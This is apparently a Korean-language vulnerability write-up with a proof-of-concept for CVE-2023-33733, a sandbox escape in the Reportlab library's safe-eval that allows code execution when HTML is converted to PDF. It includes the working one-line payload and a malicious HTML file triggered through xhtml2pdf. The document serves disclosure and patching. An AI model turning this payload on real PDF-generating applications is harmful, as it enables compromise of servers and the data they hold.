
CVE-2023-33733에 대한 상세한 기술 분석 자료와 개념 증명(PoC) 익스플로잇으로, Reportlab Python 라이브러리의 HTML-to-PDF 처리 과정에서 샌드박스를 우회하여 원격 코드 실행이 가능한 취약점입니다.
tl;dr 이 글은 Reportlab에서 RCE(원격 코드 실행) 취약점이 어떻게 발견되고 악용되었는지 상세히 설명합니다. Reportlab이 HTML을 PDF로 처리하는 데 널리 사용되기 때문에, 이 취약점은 PDF 파일을 처리하는 많은 애플리케이션에서 접근 가능할 수 있으며, 따라서 패치 적용과 주의가 필요한 중요한 취약점입니다.
며칠 전, 웹 애플리케이션 감사 중 해당 애플리케이션이 Reportlab 파이썬 라이브러리를 사용하여 HTML 입력으로부터 PDF 파일을 동적으로 생성하고 있음을 확인했습니다. Reportlab은 이전에 패치된 코드 실행 취약점이 있었습니다. 즉, 패치를 우회하는 방법을 찾는 것은 공격자 관점에서 매우 흥미로운 일이었습니다. 특히 Reportlab 라이브러리가 다른 애플리케이션과 도구에서도 사용되기 때문입니다.
먼저 간단히 요약하자면: Reportlab은 Python 프로그래밍 언어를 사용하여 Adobe의 Portable Document Format(PDF) 문서를 생성할 수 있는 오픈 소스 프로젝트입니다. 또한 PDF뿐만 아니라 다양한 비트맵 및 벡터 형식의 차트와 데이터 그래픽도 생성합니다.
이 라이브러리는 2019년에 HTML 태그의 Color 속성을 통해 원격 코드 실행으로 이어지는 유사한 익스플로잇이 알려졌습니다. 해당 속성의 내용은 eval 함수를 사용하여 파이썬 표현식으로 직접 평가되어 코드 실행으로 이어졌습니다. 이 문제를 완화하기 위해 Reportlab은 rl_safe_eval이라는 샌드박스를 구현했습니다. 이 샌드박스는 모든 파이썬 내장 함수를 제거하고, 여러 내장 함수를 재정의하여 라이브러리의 안전한 코드 실행은 허용하면서 위험한 함수나 라이브러리에 대한 접근을 차단합니다.
예를 들어, 내장 getattr 함수는 제한된 함수 __rl_getitem__으로 재정의되어 로 시작하는 객체의 위험한 속성에 대한 접근을 금지합니다.
__class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# 이 줄에서 볼 수 있듯이 내장 getattr가 커스텀 함수로 대체되었습니다.
# 해당 함수는 속성을 가져오기 전에 전달된 속성 이름의 안전성을 검사합니다.
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# 샌드박스 eval 환경에서 속성을 가져와 호출자에게 반환하기 전에 여러 검사를 수행합니다.
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# __로 시작하거나 미리 정의된 안전하지 않은 속성 이름과 일치하는 속성에 접근할 수 없습니다.
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
앞서 설명한 안전한 eval은 모든 위험한 함수로부터 환경을 정화하여 악의적인 동작을 실행하는 데 사용될 수 있는 위험한 도구에 접근하지 못하도록 합니다. 그러나 이러한 제한을 우회하고 원래 내장 함수 중 하나에 접근할 수 있다면 샌드박스 환경을 악용하는 데 큰 도움이 됩니다.
재정의된 여러 내장 클래스 중 하나가 type입니다. 이 클래스가 하나의 인수로 호출되면 객체의 타입을 반환합니다. 그러나 세 개의 인수로 호출되면 새로운 타입 객체를 반환합니다. 이는 본질적으로 class 문의 동적 형태입니다. 즉, 다른 클래스에서 상속받는 새로운 클래스를 생성할 수 있습니다.
따라서 아이디어는 str에서 상속받는 Word라는 새 클래스를 만들어, 커스텀 getattr에 전달될 때 검사를 우회하고 __code__와 같은 민감한 속성에 접근할 수 있게 하는 것입니다.
샌드박스 eval에서 커스텀 getattr은 속성을 반환하기 전에 __rl_is_allowed_name__을 호출하여 안전성 검사를 수행한 후 파이썬 내장 getattr을 호출하고 결과를 반환합니다.
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
__rl_is_allowed_name__ 함수를 우회하려면 Word 클래스는 다음 조건을 충족해야 합니다:
startswith 함수 호출 시 항상 False를 반환하여 (name.startswith('__')를 우회해야 함__eq__의 첫 번째 호출에서는 False를 반환하여 name in __rl_unsafe__를 우회하고, 이후 호출에서는 올바른 결과를 반환해야 함 (파이썬 내장 getattr이 __eq__를 호출할 때 올바른 결과를 반환해야 하므로)다음 클래스가 이러한 기준을 충족합니다:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
안전한 eval의 커스텀 type 함수는 세 개의 인수를 전달하는 것을 허용하지 않습니다:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
이를 우회하는 방법은 type을 자기 자신에 대해 호출하여 원래 내장 type 함수를 검색하는 것입니다:
orgTypeFun = type(type(1))
이 두 코드를 결합하면 다음과 같은 결과가 나옵니다:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
원래 익스플로잇은 여러 단점으로 인해 Python 3.10에서만 악용 가능했습니다. 이러한 문제를 해결하기 위해 os 파이썬 모듈에 접근하는 새로운 접근 방식이 개발되었습니다.
Reportlab 라이브러리는 여러 내장 함수의 구현을 재정의하여 eval 컨텍스트의 globls에 주입합니다.
rl_safe_eval.py에서 커스텀 함수로 재정의된 기본 내장 함수 예시:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
이 함수들은 전역 컨텍스트에서 생성되므로, 이 커스텀 함수의 __globals__ 속성을 통해 전역 변수와 모듈에 접근할 수 있습니다.
다음 코드는 eval 컨텍스트 내에서 실행되어야 합니다
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
이제 익스플로잇을 작성하는 일만 남았습니다.
이를 위해 컴파일된 함수의 바이트코드에서 함수를 재구성합니다:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
그러나 이러한 여러 줄 표현식은 eval 컨텍스트에서 실행되지 않습니다. 이 문제를 우회하기 위해 list comprehension 트릭을 사용할 수 있습니다:
[print(x) for x in ['hellworld']]
# 이는 다음 코드와 동일합니다:
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# 이는 다음 코드와 동일합니다:
x='first var'
y='second var'
print (x + ' ' + y)
이 기술을 사용하면 익스플로잇 코드를 한 줄로 다시 작성할 수 있습니다 (여기서 여러 줄은 가독성을 높이기 위한 형식일 뿐이며, 선언은 아래에서 위로 읽어야 합니다):
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
코드 실행을 입증하는 개념 증명(PoC)은 poc.py 파일을 참조하십시오 (성공적으로 악용되면 /tmp/에 exploited 파일이 생성됩니다).
많은 앱과 라이브러리가 Reportlab 라이브러리를 사용합니다. 예를 들어 xhtml2pdf 유틸리티 함수는 취약하며 악성 HTML을 PDF로 변환할 때 코드 실행이 발생할 수 있습니다.
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
Matthias Weckbecker에게 그의 협력과 원래 익스플로잇의 단점에 대한 훌륭한 논의에 감사드립니다. 이제 익스플로잇은 모든 Python 3 버전에서 완벽하게 작동합니다 :D